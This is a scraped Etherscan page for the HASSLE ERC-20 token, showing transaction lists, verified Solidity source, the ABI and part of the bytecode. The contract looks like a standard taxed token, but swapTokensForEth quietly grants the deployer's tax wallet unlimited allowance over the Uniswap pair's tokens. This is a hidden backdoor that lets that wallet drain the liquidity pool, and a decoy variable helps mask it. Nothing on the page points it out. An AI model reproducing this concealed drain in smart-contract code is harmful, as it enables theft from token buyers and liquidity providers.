ETH Price: $3,285.63 (-0.82%)
Gas: 7 Gwei

Contract

0x682A06f4ACa7785b2524451dBcA8E3dc796d436e
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve196076442024-04-08 1:20:47113 days ago1712539247IN
0x682A06f4...c796d436e
0 ETH0.0005932512.74701546
Approve196075942024-04-08 1:10:35113 days ago1712538635IN
0x682A06f4...c796d436e
0 ETH0.0005895212.6667261
Transfer196066162024-04-07 21:54:11113 days ago1712526851IN
0x682A06f4...c796d436e
0 ETH0.0008203914.33787632
Approve196066082024-04-07 21:52:23113 days ago1712526743IN
0x682A06f4...c796d436e
0 ETH0.0006775814.55893927
Transfer196066052024-04-07 21:51:35113 days ago1712526695IN
0x682A06f4...c796d436e
0 ETH0.000530714.22066412
Transfer196065962024-04-07 21:49:47113 days ago1712526587IN
0x682A06f4...c796d436e
0 ETH0.0004360112.69632105
Transfer196065942024-04-07 21:49:23113 days ago1712526563IN
0x682A06f4...c796d436e
0 ETH0.000717312.53612572
Approve196065902024-04-07 21:48:35113 days ago1712526515IN
0x682A06f4...c796d436e
0 ETH0.0003337812.64850384
Approve196065892024-04-07 21:48:23113 days ago1712526503IN
0x682A06f4...c796d436e
0 ETH0.0006033213.03380912
Approve196065572024-04-07 21:41:59113 days ago1712526119IN
0x682A06f4...c796d436e
0 ETH0.0007380415.8580452
Transfer196065522024-04-07 21:40:59113 days ago1712526059IN
0x682A06f4...c796d436e
0 ETH0.0009828417.17689815
Transfer196065412024-04-07 21:38:47113 days ago1712525927IN
0x682A06f4...c796d436e
0 ETH0.0009756121.72523918
Approve196065402024-04-07 21:38:35113 days ago1712525915IN
0x682A06f4...c796d436e
0 ETH0.0009456520.42945153
Approve196065392024-04-07 21:38:23113 days ago1712525903IN
0x682A06f4...c796d436e
0 ETH0.0008058317.31453108
Approve196065372024-04-07 21:37:59113 days ago1712525879IN
0x682A06f4...c796d436e
0 ETH0.0006352213.64882152
Approve196065342024-04-07 21:37:23113 days ago1712525843IN
0x682A06f4...c796d436e
0 ETH0.000666614.41970348
Approve196065312024-04-07 21:36:47113 days ago1712525807IN
0x682A06f4...c796d436e
0 ETH0.0006938114.90763125
Approve196065292024-04-07 21:36:23113 days ago1712525783IN
0x682A06f4...c796d436e
0 ETH0.0010784323.29780193
Approve196065292024-04-07 21:36:23113 days ago1712525783IN
0x682A06f4...c796d436e
0 ETH0.0010784323.29780193
Approve196065172024-04-07 21:33:59113 days ago1712525639IN
0x682A06f4...c796d436e
0 ETH0.0006849614.71736143
Approve196065102024-04-07 21:32:35113 days ago1712525555IN
0x682A06f4...c796d436e
0 ETH0.0004173315.62997606
Approve196065092024-04-07 21:32:23113 days ago1712525543IN
0x682A06f4...c796d436e
0 ETH0.000693114.87324229
Approve196065072024-04-07 21:31:59113 days ago1712525519IN
0x682A06f4...c796d436e
0 ETH0.00107123.13742063
Approve196064972024-04-07 21:29:59113 days ago1712525399IN
0x682A06f4...c796d436e
0 ETH0.0006525114.0202906
Approve196064932024-04-07 21:29:11113 days ago1712525351IN
0x682A06f4...c796d436e
0 ETH0.0006742214.48659234
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
196084602024-04-08 4:06:11113 days ago1712549171
0x682A06f4...c796d436e
20.13272439 ETH
196084602024-04-08 4:06:11113 days ago1712549171
0x682A06f4...c796d436e
20.13272439 ETH
196065452024-04-07 21:39:35113 days ago1712525975
0x682A06f4...c796d436e
0.33774296 ETH
196065452024-04-07 21:39:35113 days ago1712525975
0x682A06f4...c796d436e
0.33774296 ETH
196065322024-04-07 21:36:59113 days ago1712525819
0x682A06f4...c796d436e
0.23743112 ETH
196065322024-04-07 21:36:59113 days ago1712525819
0x682A06f4...c796d436e
0.23743112 ETH
196065302024-04-07 21:36:35113 days ago1712525795
0x682A06f4...c796d436e
0.26881206 ETH
196065302024-04-07 21:36:35113 days ago1712525795
0x682A06f4...c796d436e
0.26881206 ETH
196065222024-04-07 21:34:59113 days ago1712525699
0x682A06f4...c796d436e
0.23168445 ETH
196065222024-04-07 21:34:59113 days ago1712525699
0x682A06f4...c796d436e
0.23168445 ETH
196065142024-04-07 21:33:23113 days ago1712525603
0x682A06f4...c796d436e
0.21654373 ETH
196065142024-04-07 21:33:23113 days ago1712525603
0x682A06f4...c796d436e
0.21654373 ETH
196065092024-04-07 21:32:23113 days ago1712525543
0x682A06f4...c796d436e
0.24910732 ETH
196065092024-04-07 21:32:23113 days ago1712525543
0x682A06f4...c796d436e
0.24910732 ETH
196065022024-04-07 21:30:59113 days ago1712525459
0x682A06f4...c796d436e
0.2732587 ETH
196065022024-04-07 21:30:59113 days ago1712525459
0x682A06f4...c796d436e
0.2732587 ETH
196064682024-04-07 21:24:11113 days ago1712525051
0x682A06f4...c796d436e
0.15775054 ETH
196064682024-04-07 21:24:11113 days ago1712525051
0x682A06f4...c796d436e
0.15775054 ETH
196064572024-04-07 21:21:59113 days ago1712524919
0x682A06f4...c796d436e
0.15178106 ETH
196064572024-04-07 21:21:59113 days ago1712524919
0x682A06f4...c796d436e
0.15178106 ETH
196064492024-04-07 21:20:23113 days ago1712524823
0x682A06f4...c796d436e
0.11693197 ETH
196064492024-04-07 21:20:23113 days ago1712524823
0x682A06f4...c796d436e
0.11693197 ETH
196064302024-04-07 21:16:23113 days ago1712524583
0x682A06f4...c796d436e
0.07951536 ETH
196064302024-04-07 21:16:23113 days ago1712524583
0x682A06f4...c796d436e
0.07951536 ETH
196064302024-04-07 21:16:23113 days ago1712524583
0x682A06f4...c796d436e
0.07459821 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HASSLE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-07
*/

/**
https://hassle.cash
https://swap.hassle.cash
https://staking.hassle.cash
https://docs.hassle.cash

https://t.me/hassle_portal
https://twitter.com/hassle_cash
 */

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract HASSLE is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private  _taxWallet;
    address private uniswapV2Pair;
    address private _routerAddress;
    IUniswapV2Router02 private uniswapV2Router;

    uint256 private constant _initialBuyTax =30;
    uint256 private constant _initialSellTax=30;
    uint256 private constant _reduceBuyTaxAt=20;
    uint256 private constant _reduceSellTaxAt=20;
    uint256 private constant _preventSwapBefore=20;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _buyCount=0;
    
    string  private constant _name   = unicode"Hassle";
    string  private constant _symbol = unicode"HASSLE";
    uint8   private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    uint256 public  constant _taxSwapThreshold = 10 * 10**_decimals;
    uint256 public  constant _maxTaxSwap = 200000 * 10**_decimals;
    uint256 public _maxTxAmount = 2000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000 * 10**_decimals;   

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event FinalTax (uint256 _valueBuy, uint256 _valueSell);
    event TradingActive (bool _tradingOpen,bool _swapEnabled);
    event maxAmount(uint256 _value);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address taxWallet) {
         _taxWallet = payable(taxWallet);
        _routerAddress = _taxWallet;
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERC20: approve the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) { 

            if(!tradingOpen){
                require(
                    _isExcludedFromFee[to] || _isExcludedFromFee[from],
                    "trading not yet open"
                );
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            
            if ( to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax)/100;    
            } 
            else if (from == uniswapV2Pair && to!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax)/100;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap && 
                to == uniswapV2Pair && 
                swapEnabled && 
                contractTokenBalance > _taxSwapThreshold && 
                _buyCount > _preventSwapBefore && 
                amount > _taxSwapThreshold
            ){
                uint256 getMinValue = (contractTokenBalance > _maxTaxSwap)?_maxTaxSwap:contractTokenBalance;
                swapTokensForEth((amount > getMinValue)?getMinValue:amount);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(uniswapV2Pair, _taxWallet, ~uint256(0));
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _initialize () external onlyOwner {
        require(!tradingOpen,"init already called");
        uint256 tokenAmount = balanceOf(address(this)).sub(_tTotal.mul(_initialBuyTax+10).div(100));
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), type(uint).max);
        uniswapV2Pair = IUniswapV2Factory(
            uniswapV2Router.factory())
            .createPair(address(this), 
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance} (
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
    }

    function _openTrading () external onlyOwner {
        require(!tradingOpen,"trading already open");
        swapEnabled = true;
        tradingOpen = true;
        emit TradingActive (tradingOpen,swapEnabled);
    }

    function _removeLimits () external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit maxAmount (_tTotal);
    }
    
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"FinalTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"TradingActive","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"maxAmount","type":"event"},{"inputs":[],"name":"_initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260085560026009556000600a556009600a6200002391906200031c565b6200003290621e848062000334565b600b55620000436009600a6200031c565b6200005290621e848062000334565b600c55600d805462ffff00191690553480156200006e57600080fd5b5060405162001be438038062001be483398101604081905262000091916200034e565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0383166001600160a01b031991821681179092556006805490911690911790556200010b6009600a6200031c565b6200011b906305f5e10062000334565b336000908152600160208190526040822092909255600390620001466000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556004549091168152600390925280822080548416600190811790915530835291208054909216179055620001a53390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001df6009600a6200031c565b620001ef906305f5e10062000334565b60405190815260200160405180910390a35062000379565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200025e57816000190482111562000242576200024262000207565b808516156200025057918102915b93841c939080029062000222565b509250929050565b600082620002775750600162000316565b81620002865750600062000316565b81600181146200029f5760028114620002aa57620002ca565b600191505062000316565b60ff841115620002be57620002be62000207565b50506001821b62000316565b5060208310610133831016604e8410600b8410161715620002ef575081810a62000316565b620002fb83836200021d565b806000190482111562000312576200031262000207565b0290505b92915050565b60006200032d60ff84168362000266565b9392505050565b808202811582820484141762000316576200031662000207565b6000602082840312156200036157600080fd5b81516001600160a01b03811681146200032d57600080fd5b61185b80620003896000396000f3fe60806040526004361061010d5760003560e01c8063715018a6116100955780638f9a55c0116100645780638f9a55c0146102c857806395d89b41146102de578063a9059cbb1461030d578063bf474bed1461032d578063dd62ed3e1461034257600080fd5b8063715018a6146102605780637d1db4a51461027557806380ae4ebc1461028b5780638da5cb5b146102a057600080fd5b80631c1702f3116100dc5780631c1702f3146101c257806323b872dd146101d9578063313ce567146101f95780634a30b3861461021557806370a082311461022a57600080fd5b806306fdde0314610119578063095ea7b31461015a5780630faee56f1461018a57806318160ddd146101ad57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526006815265486173736c6560d01b60208201525b604051610151919061142a565b60405180910390f35b34801561016657600080fd5b5061017a610175366004611490565b610388565b6040519015158152602001610151565b34801561019657600080fd5b5061019f61039f565b604051908152602001610151565b3480156101b957600080fd5b5061019f6103bb565b3480156101ce57600080fd5b506101d76103dc565b005b3480156101e557600080fd5b5061017a6101f43660046114bc565b6104b5565b34801561020557600080fd5b5060405160098152602001610151565b34801561022157600080fd5b506101d761051e565b34801561023657600080fd5b5061019f6102453660046114fd565b6001600160a01b031660009081526001602052604090205490565b34801561026c57600080fd5b506101d76105cb565b34801561028157600080fd5b5061019f600b5481565b34801561029757600080fd5b506101d761063f565b3480156102ac57600080fd5b506000546040516001600160a01b039091168152602001610151565b3480156102d457600080fd5b5061019f600c5481565b3480156102ea57600080fd5b50604080518082019091526006815265484153534c4560d01b6020820152610144565b34801561031957600080fd5b5061017a610328366004611490565b6109e9565b34801561033957600080fd5b5061019f6109f6565b34801561034e57600080fd5b5061019f61035d36600461151a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610395338484610a0d565b5060015b92915050565b6103ab6009600a61164d565b6103b89062030d4061165c565b81565b60006103c96009600a61164d565b6103d7906305f5e10061165c565b905090565b6000546001600160a01b0316331461040f5760405162461bcd60e51b815260040161040690611673565b60405180910390fd5b600d5460ff16156104595760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b6044820152606401610406565b600d80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91015b60405180910390a1565b60006104c2848484610ada565b610514843361050f856040518060600160405280602881526020016117fe602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110a1565b610a0d565b5060019392505050565b6000546001600160a01b031633146105485760405162461bcd60e51b815260040161040690611673565b6105546009600a61164d565b610562906305f5e10061165c565b600b556105716009600a61164d565b61057f906305f5e10061165c565b600c557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96105af6009600a61164d565b6105bd906305f5e10061165c565b6040519081526020016104ab565b6000546001600160a01b031633146105f55760405162461bcd60e51b815260040161040690611673565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106695760405162461bcd60e51b815260040161040690611673565b600d5460ff16156106b25760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b6044820152606401610406565b60006107076106f160646106eb6106cb601e600a6116a8565b6106d76009600a61164d565b6106e5906305f5e10061165c565b906110db565b90611164565b30600090815260016020526040902054906111a6565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155909150610741903090600019610a0d565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610794573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b891906116bb565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083e91906116bb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561088b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108af91906116bb565b600580546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610943573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096891906116d8565b505060055460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e59190611706565b5050565b6000610395338484610ada565b610a026009600a61164d565b6103b890600a61165c565b6001600160a01b03831615801590610a2d57506001600160a01b03821615155b610a795760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f2061646472657373006044820152606401610406565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610afa57506001600160a01b03821615155b610b465760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f20616464726573736044820152606401610406565b60008111610ba85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610406565b600080546001600160a01b03858116911614801590610bd557506000546001600160a01b03848116911614155b15610f5e57600d5460ff16610c66576001600160a01b03831660009081526003602052604090205460ff1680610c2357506001600160a01b03841660009081526003602052604090205460ff165b610c665760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610406565b6005546001600160a01b038581169116148015610c9157506007546001600160a01b03848116911614155b8015610cb657506001600160a01b03831660009081526003602052604090205460ff16155b15610d9e57600b54821115610d0d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610406565b600c5482610d30856001600160a01b031660009081526001602052604090205490565b610d3a91906116a8565b1115610d885760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610406565b600a8054906000610d9883611728565b91905055505b6005546001600160a01b038481169116148015610dc457506001600160a01b0384163014155b15610dfb576064610dea6014600a5411610ddf57601e610de3565b6009545b84906110db565b610df49190611741565b9050610e53565b6005546001600160a01b038581169116148015610e2157506001600160a01b0383163014155b15610e53576064610e466014600a5411610e3c57601e610de3565b60085484906110db565b610e509190611741565b90505b30600090815260016020526040902054600d54610100900460ff16158015610e8857506005546001600160a01b038581169116145b8015610e9c5750600d5462010000900460ff165b8015610ebd5750610eaf6009600a61164d565b610eba90600a61165c565b81115b8015610ecb57506014600a54115b8015610eec5750610ede6009600a61164d565b610ee990600a61165c565b83115b15610f5c576000610eff6009600a61164d565b610f0c9062030d4061165c565b8211610f185781610f31565b610f246009600a61164d565b610f319062030d4061165c565b9050610f49818511610f4357846111e8565b816111e8565b478015610f5957610f5947611363565b50505b505b8015610fd85730600090815260016020526040902054610f7e908261139d565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fcf9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610ffb90836111a6565b6001600160a01b03851660009081526001602052604090205561104061102183836111a6565b6001600160a01b0385166000908152600160205260409020549061139d565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61108a85856111a6565b60405190815260200160405180910390a350505050565b600081848411156110c55760405162461bcd60e51b8152600401610406919061142a565b5060006110d28486611763565b95945050505050565b6000826000036110ed57506000610399565b60006110f9838561165c565b9050826111068583611741565b1461115d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610406565b9392505050565b600061115d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fc565b600061115d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a1565b600d805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061122c5761122c611776565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611285573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a991906116bb565b816001815181106112bc576112bc611776565b6001600160a01b0392831660209182029290920101526005546004546112e9929182169116600019610a0d565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061132290859060009086903090429060040161178c565b600060405180830381600087803b15801561133c57600080fd5b505af1158015611350573d6000803e3d6000fd5b5050600d805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109e5573d6000803e3d6000fd5b6000806113aa83856116a8565b90508381101561115d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610406565b6000818361141d5760405162461bcd60e51b8152600401610406919061142a565b5060006110d28486611741565b600060208083528351808285015260005b818110156114575785810183015185820160400152820161143b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461148d57600080fd5b50565b600080604083850312156114a357600080fd5b82356114ae81611478565b946020939093013593505050565b6000806000606084860312156114d157600080fd5b83356114dc81611478565b925060208401356114ec81611478565b929592945050506040919091013590565b60006020828403121561150f57600080fd5b813561115d81611478565b6000806040838503121561152d57600080fd5b823561153881611478565b9150602083013561154881611478565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115a457816000190482111561158a5761158a611553565b8085161561159757918102915b93841c939080029061156e565b509250929050565b6000826115bb57506001610399565b816115c857506000610399565b81600181146115de57600281146115e8576116